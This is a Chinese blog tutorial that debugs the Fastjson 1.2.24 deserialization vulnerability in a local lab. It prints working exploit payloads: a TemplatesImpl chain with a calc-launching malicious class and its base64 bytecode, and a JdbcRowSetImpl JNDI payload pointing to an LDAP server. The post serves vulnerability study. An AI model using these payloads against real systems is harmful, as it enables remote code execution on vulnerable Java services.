【Fastjson】- 初识Fastjson-1.2.24反序列化漏洞

admin 2024年2月16日23:39:56评论9 views字数 15985阅读53分17秒阅读模式

前言本地环境搭建Fastjson 使用    将对象序列化为json字符串    将json字符串反序列化为对象反序列化漏洞成因及利用链    漏洞成因    TemplatesImpl 反序列化链        payload        从头分析反序列化过程    JdbcRowSetImpl 反序列化链        payload        反序列化过程细节问题    setter getter 调用情况    哪些满足条件的getter被调用了参考链接

前言

系统学习fastjson反序列漏洞。

2017年爆出fastjson 1.2.24 反序列化漏洞,本文以这个漏洞为基础,搭建调试环境,从fastjson反序列入口反序列化利用链两方面分析学习,介绍其中涉及的细节问题。

本地环境搭建

使用IDEA创建一个maven项目,pom.xml中添加fastjson 1.2.24 依赖:

    <dependencies>
      <dependency>
          <groupId>com.alibaba</groupId>
          <artifactId>fastjson</artifactId>
          <version>1.2.24</version>
      </dependency>
  </dependencies>

创建一个User类,该类对象用于后续fastjson序列化/反序列化调用分析:

package com.example;

import java.util.Properties;

public class User {
   public String name;
   private int id;
   private Boolean bool;
   private Properties myproperties;

   public User(){
       System.out.println("无参构造");
  }

   public User(String name, int id) {
       System.out.println("有参构造");
       this.name = name;
       this.id = id;
  }

   public String getName() {
       System.out.println("getName");
       return name;
  }

   public void setName(String name) {
       System.out.println("setName");
       this.name = name;
  }

   public int getId() {
       System.out.println("getId");
       return id;
  }

   public void setId(int id) {
       System.out.println("setId");
       this.id = id;
  }

   public Boolean getBool() {
       System.out.println("getBool");
       return bool;
  }

   public Properties getMyproperties() {
       System.out.println("getMyproperties");
       return myproperties;
  }

   @Override
   public String toString() {
       return "[User] {" + "name='" + name + "'" + ", id=" + id + ", bool='" + bool + "'" + ", myproperties='" + myproperties + "'}";
  }
}

Fastjson 使用

将对象序列化为json字符串

Fastjson可以将对象序列化为json字符串,方法名为:

com.alibaba.fastjson.JSON#toJSONString(java.lang.Object)

演示代码

package com.example;

import com.alibaba.fastjson.JSON;

public class FastjsonTest {
   public static void main(String[] args) {
       User user = new User("zhangsan", 22);
       String json = JSON.toJSONString(user);
       System.out.println(json);
  }
}

//输出结果

有参构造
getBool
getId
getMyproperties
getName
{"id":22,"name":"zhangsan"}

但最终输出的json字符串中只包含对象中的属性值,无法直观判断是由哪个类序列化来的。

该方法还有第二个参数:SerializerFeature.WriteClassName

com.alibaba.fastjson.JSON#toJSONString(java.lang.Object, com.alibaba.fastjson.serializer.SerializerFeature...)

如此,在将对象序列化成json字符串时,就会记录类的名字。

演示代码:

import com.alibaba.fastjson.serializer.SerializerFeature;

String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);

// 输出结果

有参构造
getBool
getId
getMyproperties
getName
{"@type":"com.example.User","id":22,"name":"zhangsan"}

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type@type关键字标识这个字符串是由某个类序列化而来

在上面的输出结果中,还调用了各个属性的getter方法,这也不难理解。fastjson将对象属性值写到json字符串中,需要线获取这个对象的各属性值,这一步就是通过getter方法。

将json字符串反序列化为对象

有三个方法可以将json字符串反序列化为类对象:

com.alibaba.fastjson.JSON#parse(java.lang.String)
com.alibaba.fastjson.JSON#parseObject(java.lang.String)
com.alibaba.fastjson.JSON#parseObject(java.lang.String, java.lang.Class<T>)

演示代码:

package com.example;

import com.alibaba.fastjson.JSON;

public class FastjsonTest {
   public static void main(String[] args) {
       String json1 = "{"@type":"com.example.User","id":22,"name":"zhangsan"}";
       String json2 = "{"id":22,"name":"zhangsan"}";
       System.out.println("===");
       System.out.println(JSON.parse(json1));
       System.out.println("===");
       System.out.println(JSON.parseObject(json1));
       System.out.println("===");
       System.out.println(JSON.parseObject(json1, User.class));
       System.out.println("===");
       System.out.println(JSON.parse(json2));
       System.out.println("===");
       System.out.println(JSON.parseObject(json2));
       System.out.println("===");
       System.out.println(JSON.parseObject(json2, User.class));
  }
}

// 输出结果

===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}
===
无参构造
setId
setName
getBool
getId
getMyproperties
getName
{"name":"zhangsan","id":22}
===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}
===
{"name":"zhangsan","id":22}
===
{"name":"zhangsan","id":22}
===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}

可以看到:

在json字符串中使用@type指定类时,JSON.parse(json1)JSON.parseObject(json1, User.class)可以反序列化为指定类;

没有使用@type指定类时,JSON.parseObject(json2, User.class)可以反序列化为指定类。

关于settergetter方法的调用规则顺序,后面再作解释。

反序列化漏洞成因及利用链

漏洞成因

fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。

本文学习两个这种类,称之为反序列化利用链:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl

TemplatesImpl利用链则用到的是getter方法缺陷,而JdbcRowSetImpl这条利用链用到的是类中setter方法的缺陷。

TemplatesImpl 反序列化链

TemplatesImpl 这条反序列化链在yso中很常见,其最终构造一个TemplatesImpl对象,它的_bytecodes属性是一个恶意类的字节码。设置一定条件下,反序列化TemplatesImpl类对象时,其中的字节码会被实例化,从而执行其中的恶意代码。

TemplatesImpl类中存在一个名为_outputProperties的私有变量,其getter方法中存在利用点。

payload

我们无从得知挖掘这个利用链的过程,这里直接构造好payload,分析反序列化的过程:

首先需要准备一个恶意类,类的静态代码块或构造函数中写入恶意代码,该类实例化时就会执行恶意代码,如下示例(代码来源参考链接):

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
   public EvilClass() throws IOException {
       Runtime.getRuntime().exec("calc.exe");
  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{

  }
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{

  }

   public static void main(String[] args) throws Exception{
       EvilClass evilClass = new EvilClass();
  }

}

使用javac将其编译成EvilClass.class的字节码文件。将其byte流base64编码后就是TemplatesImpl类的_bytecodes属性,如下示例代码

package test;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class HelloWorld {
   public static void main(String args[]) {
       byte[] buffer = null;
       String filepath = ".\src\main\java\test\EvilClass.class";
       try {
           FileInputStream fis = new FileInputStream(filepath);
           ByteArrayOutputStream bos = new ByteArrayOutputStream();
           byte[] b = new byte[1024];
           int n;
           while((n = fis.read(b))!=-1) {
               bos.write(b,0,n);
          }
           fis.close();
           bos.close();
           buffer = bos.toByteArray();
      }catch(Exception e) {
           e.printStackTrace();
      }
       Encoder encoder = Base64.getEncoder();
       String value = encoder.encodeToString(buffer);
       System.out.println(value);
  }
}

我偏向使用yso项目生成payload,Gadgets.createTemplatesImpl(command);中,final byte[] classBytes = clazz.toBytecode();就是恶意类的字节码,IDEA调试时将其base64即可。

yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIxNDAwMjk2Njc3MDI5MDABACBMeXNvc2VyaWFsL1B3bmVyMTQwMDI5NjY3NzAyOTAwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==

最后给出fastjson的payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADxxxxx"], "_name":"c.c", "_tfactory":{ },"_outputProperties":{}, "_name":"a", "_version":"1.0", "allowedProtocols":"all"}

json解析执行恶意代码:

String payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAAxxx"], "_name":"a", "_tfactory":{ },"_outputProperties":{}, "_version":"1.0", "allowedProtocols":"all"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

JSON.parseObject第二个参数Feature.SupportNonPublicField作用如下:

Fastjson默认(私有变量没有setter方法时)只会反序列化public修饰的属性,由于私有变量_name没有setter方法,在反序列化时想给这个变量赋值则需要使用Feature.SupportNonPublicField参数。

这条利用链利用条件相对比较苛刻,因为用到的变量都是private的。

从头分析反序列化过程

JSON.parseObject(payload, Feature.SupportNonPublicField);开始调试。

会对Feature... features进行一些判断处理,随后将features对应的int值传入parse函数

public static Object parse(String text, int features) {
   if (text == null) {
       return null;
  } else {
       DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
       Object value = parser.parse();
       parser.handleResovleTask(value);
       parser.close();
       return value;
  }
}

text参数是payload的json字符串,features参数是int值(Feature.SupportNonPublicField得到)

会根据传入的参数创建一个DefaultJSONParser对象

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
   this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
   this.contextArrayIndex = 0;
   this.resolveStatus = 0;
   this.extraTypeProviders = null;
   this.extraProcessors = null;
   this.fieldTypeResolver = null;
   this.lexer = lexer;
   this.input = input;
   this.config = config;
   this.symbolTable = config.symbolTable;
   int ch = lexer.getCurrent();
   if (ch == '{') {
       lexer.next();
      ((JSONLexerBase)lexer).token = 12;
  } else if (ch == '[') {
       lexer.next();
      ((JSONLexerBase)lexer).token = 14;
  } else {
       lexer.nextToken();
  }

}

input参数是String类型的json字符串;lexer参数是JSONScanner对象类型,其由inputfeatures构造得到。

在这个函数里面会判断解析的json字符串第一个字符是{还是[,并由此设置token值,其为lexer对象的属性,这里设置token值为12.创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法。

DefaultJSONParser#parse中会根据token值进行判断,进入:

case 12:
   JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
   return this.parseObject((Map)object, fieldName);

首先创建一个空的JSONObject对象,随后进入DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)进行解析,fieldName是null。

继续读取json字符串,上面已经第一次读取了(判断是 { 还是 [ 时),读取第二个字符为",进行处理:

if (ch == '"') {
   key = lexer.scanSymbol(this.symbolTable, '"');
   lexer.skipWhitespace();
   ch = lexer.getCurrent();
   if (ch != ':') {
       throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
  }
}

上面获取到key的值为@type

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
   ref = lexer.scanSymbol(this.symbolTable, '"');
   Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

之后继续扫描解析,获取到key(@type)的值为我们指定的类,随后通过TypeUtils.loadClassload这个class。

【Fastjson】- 初识Fastjson-1.2.24反序列化漏洞

loadclass中,会先从mappings里面寻找类,最后再用ClassLoader加载类。

接着对Class对象反序列化操作:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

跟进getDeserializer方法:

String className = clazz.getName();
className = className.replace('$', '.');

for(int i = 0; i < this.denyList.length; ++i) {
   String deny = this.denyList[i];
   if (className.startsWith(deny)) {
       throw new JSONException("parser deny : " + className);
  }
}

this.denyList里面是java.lang.Thread,使用了黑名单限制可以反序列化的类(这里只有Thread)

this.config.getDeserializer(clazz)返回的类对象deserializerJavaBeanDeserializer类型,最后进入JavaBeanDeserializer#deserialze()继续解析。

JavaBeanDeserializer#deserialze()里依次扫描解析json字符串(payload)的键,_bytecodes第一个解析:key = lexer.scanSymbol(parser.symbolTable);

type为TemplatesImpl,通过createInstance创建这个对象:

if (object == null && fieldValues == null) {
   object = this.createInstance(parser, type);
   if (object == null) {
       fieldValues = new HashMap(this.fieldDeserializers.length);
  }

   childContext = parser.setContext(context, object, fieldName);
}

继续解析json字符串(payload),并将解析到的值赋值给上面的object对象:

boolean match = this.parseField(parser, key, object, type, fieldValues);

parser参数为DefaultJSONParser对象;

key为依次解析到的json字符串的键,第一个为_bytecodes。这个顺序跟我们的payload有关,依次为:_bytecodes_name_tfactory_outputProperties

这其中就会调用getter方法。

TemplatesImpl#getOutputProperties方法中下断点:

public synchronized Properties getOutputProperties() {
   try {
       return newTransformer().getOutputProperties();
  }
   catch (TransformerConfigurationException e) {
       return null;
  }
}

接下来就是熟悉的反序列化利用过程了。

调用newTransformer()方法

调用getTransletInstance()方法

_name不能为空,所以payload中我们需要将_name放在靠前一点。

_class需要为空,调用defineTransletClasses()

for (int i = 0; i < classCount; i++) {
   _class[i] = loader.defineClass(_bytecodes[i]);
   final Class superClass = _class[i].getSuperclass();

   // Check if this is the main class
   if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
       _transletIndex = i;
  }
   else {
       _auxClasses.put(_class[i].getName(), _class[i]);
  }
}

通过loader.defineClass()load恶意类的_bytecodes字节码,赋值给_class

同时判断恶意类的父类是不是AbstractTranslet(已经满足这个条件)

defineTransletClasses()出来后:

AbstractTranslet translet = (AbstractTranslet)
                   _class[_transletIndex].getConstructor().newInstance();

就直接实例化这个恶意类,从而执行里面的恶意代码。

JdbcRowSetImpl 反序列化链

JdbcRowSetImpl这条利用链最终的结果是导致JNDI注入。在setAutoCommit()会调用lookup(getDataSourceName()),而dataSourceName是可以外部指定的,所以造成JNDI注入漏洞。

payload

String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc", "autoCommit":true}";
// JSON.parse(); 也一样,这两个属性都存在setter方法
JSON.parseObject(payload);

起一个恶意的ldap服务,这里我使用 https://github.com/Mr-xn/JNDIExploit-1

解析json字符串即可触发漏洞。

注意:JNDI注入漏洞依赖目标JDK版本,JEP290是java底层为了缓解反序列化攻击提出的一种解决方案,影响版本如下:

  • java 9及以上

  • JDK 6u141

  • JDK 7u131

  • JDK 8u121

jdk8 新版本中有进一步限制黑名单,包括jdk8u231jdk8u241

所以本地调试这个漏洞时,选用JDK 8u121以下版本。

反序列化过程

前面重复的解析字符串反序列化的过程就不多说,直接看JdbcRowSetImpl类的setAutoCommit这个setter方法

public void setAutoCommit(boolean var1) throws SQLException {
   if (this.conn != null) {
       this.conn.setAutoCommit(var1);
  } else {
       this.conn = this.connect();
       this.conn.setAutoCommit(var1);
  }

}

判断conn属性是否为空,为空就调用this.connect()方法为其赋值,传入的json字符串中没有指定conn,跟进this.connect()方法:

private Connection connect() throws SQLException {
   if (this.conn != null) {
       return this.conn;
  } else if (this.getDataSourceName() != null) {
       try {
           InitialContext var1 = new InitialContext();
           DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
           return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
      } catch (NamingException var3) {
           throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
      }
  } else {
       return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
  }
}

首先会调用this.getDataSourceName()获取dataSourceName属性的值,在json字符串中已经传入这个属性的值为恶意的ldap链接,并且位置在autoCommit之前,所以后面就直接调用javax.naming.InitialContext#lookup(this.getDataSourceName()),lookup函数连接我们写入的恶意服务,造成jndi注入漏洞。

细节问题

setter getter 调用情况

这里直接记录下结论,调试起来不麻烦,不详细记录了。

parse(String text)全部setter调用,部分getter调用

parseObject(String text, Class<T> clazz)全部setter调用,部分getter调用

parseObject(String text)全部setter调用,全部getter调用

并且前两个函数,部分getter调用时,调用的getter是一样的。

哪些满足条件的getter被调用了

JavaBeanInfo.build()中的代码可以看到这块的条件

getter方法需同时满足以下条件,在反序列化时才会被调用

  1. getter方法名需要长于4

  2. getter不是静态方法

  3. getter方法以get字符串开头,且第四个字符串是大写字母

  4. getter方法不能有参数传入

  5. getter方法返回值类型继承自 Collection || Map || AtomicBoolean|| AtomicInteger || AtomicLong

  6. getter方法不能用有对应的setter方法

参考链接

https://xz.aliyun.com/t/12096

https://mp.weixin.qq.com/s/vsFRpyPTmj-h3kk6KhEfeg

https://xz.aliyun.com/t/8979

原文始发于微信公众号(信安文摘):【Fastjson】- 初识Fastjson-1.2.24反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日23:39:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Fastjson】- 初识Fastjson-1.2.24反序列化漏洞http://cn-sec.com/archives/2151387.html

发表评论

匿名网友 填写信息